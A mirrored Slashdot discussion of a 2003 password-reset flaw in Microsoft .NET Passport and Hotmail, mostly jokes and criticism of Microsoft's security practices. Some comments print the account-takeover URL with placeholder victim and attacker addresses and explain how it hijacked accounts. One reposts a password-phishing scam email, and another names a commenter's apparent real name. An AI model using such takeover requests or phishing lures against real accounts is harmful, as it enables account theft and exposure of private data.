Slashdot Mirror


Security Vulnerability in Microsoft .NET Passport

Stuart Moore writes "A vulnerability was reported in Microsoft .NET Passport, also affecting Hotmail user accounts. The simple flaw allows an attacker to change any person's password to an arbitrary value. The attacker can then gain access to the victim's accounts, as well as to the victim's personal information (if any is stored w/ Passport). Muhammad Faisal Rauf Danka posted a note to the Full-Disclosure security e-mail list after multiple unsuccessful attempts to contact Microsoft." There's a news report as well.

50 of 433 comments (clear)

  1. Remember... by stu_coates · · Score: 5, Funny

    Remember folks, this is Trustworthy Computing! ;-)

    1. Re:Remember... by Anonymous Coward · · Score: 5, Informative

      according to a dutch news site this hole was fixed shortly after the posting... So thats the way to talk to microsoft.....

      nu.nl for people knowing how to read dutch (no NOT german)..

    2. Re:Remember... by ctellefsen · · Score: 5, Insightful

      It's a good thing that (according to M$ ads) that the hacker is an endangered species, so that there is noone around to exploit this exploit.

      Current score: XBox is hacked, Passport is unsecure, SQL Server is beset by worms, and I won't even mention all the holes found over the years in IE and Outlook.

      Welcome to the age of untrustworthy computing...

    3. Re:Remember... by Gortbusters.org · · Score: 5, Funny

      That's one degree of difference with .NET!

      --
      --------
      Free your mind.
    4. Re:Remember... by m00nun1t · · Score: 4, Informative

      I fully agree this passport problem is a lame & unexcusable fault that should never, ever have happened.

      However, can you please stop dragging trustworthy computing into this? Bill Gates has said many times that the increased focus on security is for new products, not retrospectively fixing existing products.

      The only product that is really valid to criticise under the trustworthy computing tag is Windows Server 2003 - if that has big problems, then trustworthy computing has failed. But don't drag up old products/services.

    5. Re:Remember... by jkrise · · Score: 4, Funny

      " according to a dutch news site this hole was fixed shortly after the posting... "

      If sending 404 Page Not Found messages to users trying to update passwords can be called fixing, well, MS indeed fixed it.

      --
      If you keep throwing chairs, one day you'll break windows....
    6. Re:Remember... by mbourgon · · Score: 4, Funny

      MS has admitted that Trustworthy Computing has nothing to do with security. It's all about whether you trust Microsoft. Do you trust them enough to give them money? If so, they've met their goals.

      --
      "Sometimes a woman is a kind of religion, she can save your soul & set you free from all your sins" - Bad Examples
    7. Re:Remember... by ConceptJunkie · · Score: 5, Insightful

      Why should Microsoft be "taken to the cleaners", when their EULA's state that any similarity between the software the sell and what they claim they are selling is purely coincidental.

      See Microsoft has this liability thing all sewn up. All they have to do is "Just trust us." and then in the fine print it says "But if we screw up, you can't hold us responsible."

      They want it both ways, and they seem to have gotten it.

      --
      You are in a maze of twisty little passages, all alike.
    8. Re:Remember... by ConceptJunkie · · Score: 4, Interesting

      But where's the public outrage?

      We on /. regularly vent our spleens (including me, and I'm a Microsoft user myself) about this blatantly bad situation, but Microsoft continues to prevail, and except for the occasional story, there really seems to be no negative impact on their business (much of which seems to be spinning their abysmal record in "trustworthiness").

      Hackers are only an endangered species because it hardly takes a hacker to break MS code these days.

      --
      You are in a maze of twisty little passages, all alike.
  2. Oh my God (Mad scramble) by LookSharp · · Score: 5, Funny

    Ahhh! I have to go change my Passport profile and take out all those redit cards I added, and transport those top-secret, mission critical emails and documents I have sitting in my Hotmail account!

    Why did I trust Microsoft with all of my personal secrets? They've had such great security in the past... /obvious

    1. Re:Oh my God (Mad scramble) by Anonymous Coward · · Score: 5, Funny

      I have to go change my Passport profile and take out all those redit cards I added, and transport those top-secret, mission critical emails and documents I have sitting in my Hotmail account!

      Don't bother, I just did it for you.

  3. As lame as it sounds... by Anonymous Coward · · Score: 5, Funny

    ...This could be a good thing for me. Back in the day, I had a really cool hotmail address, but I neglected it for a while and completely forgot the password. Since all my info was fake, I couldn't request a new password. Off to steal my own account....

  4. Security flaw in Passport!!!! by grahamlee · · Score: 5, Funny

    In other news, the world is round, Bill Gates is rich, twice two is four, and the England cricket team haven't won anything.

  5. Oh no, not again... by girl_geek_antinomy · · Score: 5, Insightful

    The depressing thing is, it's such a simple exploit...

    Oh dear. When are people going to start *thinking* before they add usability features to web services willy-nilly...? Hopefully at least the fact that this is so high-profile will make others think hard about their own password-resetting systems.

    When I was working on an e-commerce site, I remember us all sitting around spending literally hours plotting out exactly what who would be able to do what with it. It's just commonsense, surely?

  6. The Microsoft Information Minster Says: by retards · · Score: 5, Funny

    We are secure! There are no security issues in our code. Truly. We shall beat Linux with our shoes and call it a donkey!

  7. now be fair by Joe+the+Lesser · · Score: 4, Funny

    unsuccessful attempts to contact Microsoft.

    It's not their fault Outlook kept crashing, right?

    --
    "I only speak the truth"
    Karma: null(Mostly affected by an unassigned variable)
  8. Ruh Roh Raggy by Ralph+Wiggam · · Score: 4, Funny

    Holy Crap!

    If someone were to break into my Hotmail account they would find out all the secret ways that I make my penis and breasts larger.

    With .NET, there's only one degree of seperation between me and evil crackers.

    -B

    1. Re:Ruh Roh Raggy by archen · · Score: 5, Funny

      If you have a penis AND breasts (and feel the need to enlarge them) you probably really do have a lot of secrets...

  9. good by Nevrar · · Score: 5, Funny

    "...the victim's accounts..."

    It's nice to see people are finally realising that Passport/Hotmail users are victims. ;)

    --
    Nevrar
  10. Oh no by Rik+Sweeney · · Score: 5, Funny

    A remote user can change an arbitrary target user's password to an arbitrary value and then access the target user's account

    But that spam is personal to me. It's not for anyone else.

  11. Can someone explain this? by jkrise · · Score: 5, Insightful

    "A vulnerability was reported in Microsoft .NET Passport, also affecting Hotmail user accounts. "

    I fail to u'stand what Microsoft .NET Passport means. I only know Hotmail said:
    In 1999: Login to Hotmail
    In 2000: Login to Passport
    2001 and later: Login to .Net

    Nobody seems to know what the hell .Net is all about (including MS). Visual Studio .Net is the only branded .Net product out there, and Hotmail is supposed to be on .Net, whatever that means.

    Is Passport or Passport.Net used by any other service except Hotmail? Terribly confusing.

    --
    If you keep throwing chairs, one day you'll break windows....
    1. Re:Can someone explain this? by Anonymous Coward · · Score: 5, Funny

      I believe that .NET was the cause of the .COM crash. The shit hit the fan around the same time. What a catalyst !

  12. Nice going, MS. by Renraku · · Score: 4, Interesting

    Too bad this was caused by a blatant underestimation of the power of curious users. If I had ever used the feature, I would have picked it up instantly.

    --
    Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
  13. Well, at least now I know... by johannesg · · Score: 5, Funny
    ...where I don't want to go today.

    Perhaps we can take this opportunity to kill all those spam accounts on hotmail. All we need to do is reset all the passwords to impossible strings...

  14. This should encourage anti-DRM folks by hrbrmstr · · Score: 5, Insightful

    While most geeks take at least some "delight" in vulnerabilities (even outside M$ vulnerabilities), the fact that we keep seeing stupid programmer tricks from M$ employees should be a comforting factor to DRM detractors. Even if M$ manages to get DRM out there, how riddled with holes will it be? If it is constantly circumvented, does anyone think suppliers will use it (DMCA-type laws notwithstanding)?

    And with this being a web-"exploit", it makes the DRM-circumvention idea more interesting since all of the verification will be done online.

    Constant vulnerabilities == no real DRM.

    --
    Mind the gap...
    1. Re:This should encourage anti-DRM folks by Bob9113 · · Score: 4, Insightful

      Even if M$ manages to get DRM out there, how riddled with holes will it be?

      The problem is not whether it works - we all know that DRM is technically impossible (analog hole). The problem is that combined with the DMCA, DRM makes fair use illegal. If Passport were being used for copyright protection, it would be a federal crime to report this security vulnerability.

  15. Jokes aside... by ParnBR · · Score: 5, Interesting

    Sooner or later they'll start blaming users for providing personal information, and excusing websites and companies from security flaws.

    --
    My neighbor's .sig is better than mine.
  16. Whoever has got... by archetypeone · · Score: 5, Funny

    victim@hotmail.com or attacker@attacker.com is going to be really pissed...

  17. What do people expect? by Anonymous Coward · · Score: 4, Interesting

    You expect security from a company with one of the worst track records in the industry? Ha!
    The problem with Microsoft (and the majority of other IT firms) is that there is no PROACTIVE auditing. I think that every company should conduct OpenBSD-style code audits before they release software. This would cut down dramatically on the number of incidents like this.

    1. Re:What do people expect? by PerryMason · · Score: 4, Insightful

      The problem with proactive auditing is that it takes time, and as well know, time is money. Personally I think its harsh to put the blame on the coders as I've been involved in alpha and beta testing quite a few apps over the years and almost without exception, the bean counters force the release of a product before the coders are happy with it.

      Typically the bean counters want the cash rolling in as soon as possible on a new product (as they've seen nothing but a cash outflow) and in the software industry, they know that bugs are both inevitable, and unfortunately, for the most part, accepted so they're happy to release an incomplete product knowing that it won't stop people buying it. We won't see substantially bug-free code until software developers are held to the same standards of product reliability that we see in just about every other industry. Until then, there really isn't any reason to thoroughly audit your code. Just release it buggy as all hell and release Service Packs and Hotfixes. It works for the biggest software company on earth, so why shouldn't it for anyone else?

      --
      "I'm tired of all this 'Aren't humanity great' bullshit. We're a virus with shoes" - Bill Hicks
  18. Re:FUD by CowboyBob500 · · Score: 5, Insightful

    Fixed does not mean simply 404ing the offending page. There are many legitimate users now who cannot change their passwords. This is a cheap hack while they work out what the fsck to do about the real problem.

    Bob

  19. How do you contact Microsoft? by Albanach · · Score: 5, Interesting
    This raises an interesting question about how, exactly, you are supposed to notify Microsoft by email.

    Microsoft make an interesting interpretation of RFCs by accepting all mail to postmaster@ but only insofar as to send an automatic response saying your message will not be read.

    This guy also says he tried to email them ten times and never got further than automagic autoreplies. Do they actually have a procedure to inform them when things are broken?

    1. Re:How do you contact Microsoft? by PerryMason · · Score: 4, Funny

      Do they actually have a procedure to inform them when things are broken?

      As far as i'm aware, they have a guy who just keeps clicking reload on the /. front page waiting for a new MS vulnerability story to pop up. They tried the same thing with Bugtraq but there were just way too many vulnerabilities for the poor guy to keep up.

      --
      "I'm tired of all this 'Aren't humanity great' bullshit. We're a virus with shoes" - Bill Hicks
  20. The Damage Has Been Done by TubeSteak · · Score: 5, Insightful
    "Passport accounts are central repositories for a a person's online data and can include personal information such as birthdays and credit card numbers as well as acting as the single key for the customer's online accounts."

    Its kindof important to remember that this exploit has been out in the wild for a loooooong time. I can imagine Danka is going to have a lot of pissed of h4x0rs who are going to want their exploit back.

    ~would this be the prime example of a security hole being called a feature?~

    --
    [Fuck Beta]
    o0t!
  21. Re: Procedure to inform them it's broken. by zakezuke · · Score: 5, Interesting

    There is an outlined procedure for this sorta thing...

    In the event a user discovers an exploit, inform user to reboot machine and it will go away.

    But seriously, there seems to be no OFFICIAL way for end users to actually contact microsoft, nor any sorta automated system to rank e-mails based on importance, nor any human within the phone network who actually knows who to talk to. People who i've known that worked there also have no clue as far as who to talk to, and admit this if you're lucky. If you are unlucky, just say it's a vender issue without thinking the vender is Microsoft.

    --
    There is no sanctuary. There is no sanctuary. SHUT UP! There is no shut up. There is no shut up.
  22. Add one to the pile by Ashyukun · · Score: 5, Funny

    Yet another reason to be glad I ditched my Hotmail account and refuse to use Passport after Hotmail 'politely' informed me that my last name (the one I was born with) violated their offensive language filter and asked me to change my last name.

    1. Re:Add one to the pile by dubstop · · Score: 5, Funny

      That's how it starts.

      In fifty years time, when Microsoft are in charge of the planet, they won't be asking you to change your last name, they'll be telling you that they've already changed your entire name to a 256-character, globally unique identifier. For your convenience, of course, and at a very reasonable fee of M$50 (MicroSerfian dollaroonies), which, again for your convenience, they've already deducted from your (compulsory) Bank of Microsoft account. As a result of this unexpected deduction, your account will go M$1 overdrawn, and this will mean that they are entitled to immediate vacant possession of your home. When you query this, it will be pointed out that this entitlement was clearly detailed in 2-point font, on page 437 (that's about one-third of the way in) of the click-through agreement that you read, understood, and click-through-agreed to when opening your (compulsory) Bank of Microsoft account. At the time that this is pointed out, your attention will be drawn to the clause on page 442 that they are also entitled to one of every major organ that you have two of. This includes (but is not limited to) your lungs, kidneys and, at the discretion of the Microsoft legal department (formerly known as the US Department of Justice), your testicles. They will gladly help you to pay for the operation to remove these organs, by the extension of a small loan, repayable in 7200 monthly payments that, for your convenience, will exactly match your monthly salary. You will be responsible for the shipping of at least two of your children to the secure holding facility at Redmond, where they will be held as collateral for the duration of the loan.

      Where do you want to go today?

  23. I agree completely. by @madeus · · Score: 5, Insightful

    I agree completely.

    I spent a year on contract developing a product, web based (on Unix), which allowed users and managers spend budgets as allocated by management in real time and I spent 3 doing just planning and develping the auth system (as it has company/office/team/user levels (user@team.office.company for the username) it was addmittedly a little more complex than your average auth system).

    In the end the system has a really solid auth system everything is authenticated and when you try and actually make a transaction there is a multi tiered system that checks budget approval at user, office, team and company level.

    It required mind numbing discussions again and again to get it done but it was resolved in the end. I'm glad the projects over though, repeately explaining why it was nesseary to take a long and stable and secure approach (rather than a quick hack approach) to non technical people is very draining (their simple approach, though the wouldn't admit it if you asked them, was actually 'hack it together as quickly as possible', which is what a lot of competitors had done, which is why they had such poor systems, which is why this company was started).

    I utterly, utterly dispair when I see cgi scripts that don't have a decent authentication mechanisim. With rare exception (along the lines of everybody makes mistakes) it's just incompotence, there are simply people out there who really should not design or impliment systems or write software (even CGI's).

    I am a big fan of the slow, methodical, planned, discussed and documented approach to development.

    The previous exploits for hotmail were poor, but I recall that at least of one of them was due to an error error that I can empathise with to some extent (it wasn't as blatant), but I am stunned at the level of ineptitude shown by this particular exploit, but I know the same stupid mistakes are repeated all over the place...

  24. MS-Passport and those that cannot/willnot read by SgtChaireBourne · · Score: 5, Informative
    MS-Passport has long been known to be impossible to secure, even in theory: See Risks of the Passport Single Signon Protocol. Even the FTC charged Microsoft with deceptive advertising in regards to MS-Passport. Other governments are not getting caught with their mouth open either. Standards body forced Redmond to pull 'unsubstantiated and misleading' advertisement

    There really does seem to be no difference between someone who cannot read and someone who does not. Those that can read wouldn't be caught using MS-Passport. Sadly, signal can be drowned out by noise coming from a colossal marketing blitz to last through september.

    We'll see if they last that long. Windows2003 seems to be more of a push to get users over to OS X or Linux. Their other (2nd of 2) cash cow, the new MS-Office has already been postponed and seems to be more of an incentive to move to OpenOffice than to upgrade.

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
  25. This is not new by johnatjohnytech · · Score: 5, Informative

    This is not a new thing, this has been around for a while.

    It is about time somebody tried to bring this to light. But i really doubt he "discovered" something that has been known about for a while.

    Don't believe me? Do a search on kazaa for hotmail passwords. You will find several txt/doc's with these or similiar instructions.

  26. What breed of idiot are you? by gazbo · · Score: 5, Informative
    So it isn't a standard IIS 404. That is wrong how? Let me put it another way:
    lynx -head -source --mime-header 'https://register.passport.net/emailpwdreset.srf?l c=1033&em=victim@hotmail.com&id=&cb=&prefem=attack er@attacker.com&rst=1'

    HTTP/1.1 404 Not Found
    Server: Microsoft-IIS/5.0
    Date: Thu, 08 May 2003 13:10:14 GMT
    PPServer: H: LAWPPREGU4A002
    It's a 404. It returns a 404 code. It says it's a 404 on the page. Just because you understand so little of the HTTP protocol to think that 404 means "displays apache logo" doesn't make MS wrong.
  27. Re: Procedure to inform them it's broken. by Zak3056 · · Score: 4, Interesting

    But seriously, there seems to be no OFFICIAL way for end users to actually contact microsoft, nor any sorta automated system to rank e-mails based on importance, nor any human within the phone network who actually knows who to talk to.

    Tell me about it. When IE5 first came out (with the modular installer) the installer had a nasty bug: If the FTP site it tried to connect to to download a CAB was full, it would create the CAB file which would contain no data, only the error message!

    As one might expect, this would cause the installation to bomb, and no explanation would be given to the user. Attempting to resume the installation would also fail. The solution was, of course, to go into the installer's temp directory and delete the bad CAB files and re-download them, but most users wouldn't know where to find them, and would be forced to start from scratch.

    When I attempted to contact Microsoft about the problem, they asked me for a credit card number. When I explained I didn't want support and was trying to report a bug, I was transferred to someone else who... asked me for a credit card number. Wash, rinse, repeat.

    --
    What part of "shall not be infringed" is so hard to understand?
  28. Re:thoughts by Kredal · · Score: 5, Informative

    since it's been 404'd, I'll provide it here.

    If you went to:

    https://register.passport.net/emailpwdreset.srf? lc =1033&em=victim@hotmail.com&id=&cb=&prefem=attacke r@attacker.com&rst=1

    and replaced the victim address to a real user, and the attacker@attacker.com to your address, they would send you an email telling you to click on another link, and you could set your own password. Wala, you now have rights to that hotmail account so you can read their mail, look at their buddy list, safely spam people, buy stuff (if they have their credit card saved), etc etc etc... Real fun stuff.

    --
    Whoever stated that signature sizes should be limited to one hundred and twenty characters can just go ahead and kiss my
  29. Re:FUD by Exedore · · Score: 4, Funny

    Mechanic: We fixed your brakes... they no longer make that awful screeching sound.
    Me: Thanks. How did you fix them?
    Mechanic: We removed the brakes entirely
    Me: What the...
    Mechanic: That will be $567.98, please.

    --

    I take drugs seriously.

  30. Re:Oh my God (MS explains it all..) by jkrise · · Score: 4, Funny

    It seems that all Passport Update Services have been disabled, owing to millions of user complaints about spam! All mail accounts will need to be checked manually for spam. (all software MS Junk mail filters etc. have been junked already).

    Of course, this means that Full Control of user accounts is needed. The process of manually cheking every single mail account for spam is underway. When all the billion accounts are checked and spam deleted, Passport .Net will be re-activated.

    This is the beginning of the Passport Update Synchronized Service Year (PUSSY) efforts. Thanks for your attention.

    --
    If you keep throwing chairs, one day you'll break windows....
  31. Another Hotmail Password Hack found on Kazaa by doublem · · Score: 5, Funny

    Hotmail password hacker.doc

    THIS IS HOW TO HACK ANYONE'S HOTMAIL PASSWORD

    Step 1:
    send a mail to Robot_pass_finder@hotmail.com with PW: fetchpass in the subject line

    Step 2: The email body
    In the first line: put the complete email address of the user whose password you want.

    In the 5th line, type the email address and the login (pass) you want the password sent to,
    here is an exemple:

    To: Robot_pass_finder@hotmail.com
    Subject: PW: fetchpass
    CC.________________ BCC.___________________
    =-email body-=

    address@hotmail.com

    your email adress here example.: myemail@hotmail.com
    your pass here example.: mypassword

    --
    "Live Free or Die." Don't like it? Then keep out of the USA
  32. his name is probably by abhisarda · · Score: 4, Informative

    Robert Babcock.

    Do a search for Ashyukun on google.(www.nhmk.com/nes/ )

    also at

    (http://216.239.33.104/search?q=cache:q1XY1gcmAY AC :www.animemusicvideos.org/members/linkprobview.php %3Fdownload_id%3D1442+Robert+Babcock+ashyukun&hl=e n&ie=UTF-8).

    Consider yourself lucky you don't have to deal with hotmail. Hmm.. what do guys with names like Dick Cheney do?

  33. I have to go with the crowd here.... by AlphaSys · · Score: 5, Interesting

    I usually stand up for the Redmond boys if there's some bashing going on and not alot of balance to the issue. But this is just an incredibly stupid hole to have open. Why would you ever, ever, ever pass details in the URL string that the user himself need not (and should not be allowed to) supply? If it is because you are passing it among servers in some fancy-schmancy web service scheme, then at least have the decency to hide the exploitable name/value pair in an http header or something (but even this should not be necessary for what they are doing , even if my guess as to how their backend works is wayyy offbase). Somebody said it earlier in the discussion that it is because developers (using the term lightly) add features without thinking of how to do it right and how to do it securely and just pass any old thing in the URL string, and they were right on the mark.

    Some coders (again using the term loosely) at my organization used to do this absolutely all the time and I would bitch about how piss poor it was from a security angle (and regularly demonstrate how easy it was to circumvent the intended "security" mechanisms). Everybody laughed at me when I did... that is until one of our largest customers hired an outside firm to audit the "security" of the apps they were getting. It took the firm very little time to discover these nuggets, of course. It is interesting to note that they reported that the application security was among the poorest they had seen, but that the server configurations (my department) were among the tightest. The sad thing is the stupid customer basically thought the two canceled each other out, threw some extra money at redesigning the application to meet the standards it should have to begin with, rewarded our systems team which had done it right the first time with absolutely squat, and renewed the contract for another five years. Shows you how much the corporate world understands what's really going on.

    --
    Can I bum a sig? I left mine at the office.
  34. Probably Microsoft code is difficult to maintain. by Futurepower(R) · · Score: 4, Interesting

    After months of trying to understand Microsoft's situation (Windows XP Shows the Direction Microsoft is Going), I came to the conclusion that the Microsoft management style leads to mountains of sloppy code that is difficult to maintain. That's the only theory that seems to fit. For example, in Internet Explorer browser alone, there have been for years more serious security bugs than Microsoft fixed. There are, at present 14 security vulnerabilities.

    Here is the recent record. The list of defects has been similar for years. Also, this is a record only of security defects, not all defects:
    • June 18, 2002: 18 vulnerabilities
    • August 8, 2002: 22 vulnerabilities
    • September 9, 2002: 19 vulnerabilities
    • November 19, 2002: 32 vulnerabilities
    • December 9, 2002: 19 vulnerabilities. (Microsoft fixed 15 on Nov. 20, but two new ones were found.)
    • May 8, 2003: 14 vulnerabilities
    This is a terrible record for a company that has $52.9 billion in the bank. (See "Total Current Assets" in the upper left hand corner, which is the money available within the next few months. It takes time to spend a billion dollars, so the next few months is equivalent to cash.)

    Obviously, Microsoft could fix the bugs if the company wanted to fix them. But the company apparently lacks the will to devote the resources necessary (IE still does not have tabbed browsing), and apparently also, it is not easy.
  35. MS problem is their own culture and codebase by Genus+Marmota · · Score: 5, Interesting
    I don't mean to bash MS (there are so many on /. that do it so well) but realistically these kinds of security problems are very unlikely to stop happening. If you've worked there as a dev, even if only for a few months, you probably have a good idea why this is. It's not because people are uncaring or incompetent. The big obstacles are 1) their own history and culture and 2) the enormity of their codebase. Here's why I think so.

    If you've made any study of it at all you know that effective security results from a process that starts before the software is even written. There is no protocol that will save you from logic errors (like the latest Passport hole). To do this reqires a good understanding by the devs of security and their adherence to design principles and coding practices. To do that you need a software development methodology that enforces the consistent application of those priciples and practices. Therein lies the problem.

    In my little corner of MS (though by all accounts it was typical of the company as a whole) what was prized above all was meeting requirements and deadlines. Virtually no energy was put into the development environment (hence the hour I spent every morning just downloading the nightly build, the insane .bat scripts, constantly fixing my own NT install as a $55/hr contractor). Nobody got "c-hours" for making life easier. More importantly, there was little value placed on design, good technique. Lip service was paid in meetings and reviews, of course, and superficial style details received obsessive scrutiny. Code reviews often bogged down on correct hungarian notation but a unit test consisting of "return true" was perfectly ok. The "heros" were people with big brain muscles who spent nights and weekends hammering out code to meet the latest deadline.

    The result of all this was a coding culture that I called the kingdom of cut-and-paste. I was actually encouraged to write routines by starting with someone else's routine to do something unrelated and edit it to do my task. A colleague would stand over my shoulder browsing the codebase looking for something convenient to steal. It was a shock to realize how little code people actually wrote. This is one of the things that I hated about working there, that I spent so much of my time fscking with the various APIs, incomprehensible include file heirarchies and so little time writing C++.

    Well, in my Intro to Fortran class in '77 the prof explained why massive code duplication is a bad idea, and the results are visible in every MS product. You can't fix a bug in one place, you have to fix it every place it got copied to, and you don't know where those are. The codebase is now on the order of 100'sM lines or better? Probably not even MS has a good handle on this, because they can't know for sure how much duplication (with tiny variations) there is (clue: lots).

    Once a company grows to a considerable size it's really hard to change the culture. I've seen this at several startups. MS is like a battleship or an aircraft carrier. High-tech and deadly but turning that boat around is really hard and simply may not happen in a short distance. Expecting them to change their performance WRT security in a few months (or year) is kind of like expecting the old Soviet apparatchiks to start respecting civil liberties and human dignity because the Central Comittee sends out a memo. Good luck. It's a city unto itself in Redmond, its own little world. And even if you did, what the hell are you going to do about the millions of lines of (largely incomprehensible) code in the installed base? The millions of systems in the wild that are unpatched and unmaintained?

    I see many of the same disasters being recapitulated in .NET. They may talk security and I'm sure they're trying hard but I expect that their long term strategies are going to rely more on legislation than the (probably impossible) task of bringing their products t